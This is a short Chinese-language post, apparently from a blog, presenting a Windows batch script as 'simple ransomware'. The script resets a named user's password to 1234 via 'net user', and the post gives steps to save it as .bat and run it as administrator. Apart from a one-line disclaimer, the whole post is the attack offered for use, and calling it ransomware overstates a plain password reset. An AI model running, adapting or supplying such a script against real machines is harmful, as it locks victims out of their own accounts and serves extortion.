用bat做一个简易勒索病毒。
病毒将利用修改用户电脑密码的方式起到勒索作用。
请勿用于任何非法用途。
@echo off
set /p username="Enter the username: "
set newpassword=1234
echo Setting password for user %username% to %newpassword%...
net user "%username%" /passwordchg:yes /expires:never "%newpassword%"
if %ERRORLEVEL% equ 0 (
echo Password changed successfully.
) else (
echo Failed to change password. Error code: %ERRORLEVEL%
)
pause
将上面这串代码复制到记事本中,并将后缀名更改为bat。鼠标右击以管理员身份运行即可。
备注:修改后密码为1234。
记得点赞评论一下,🙏。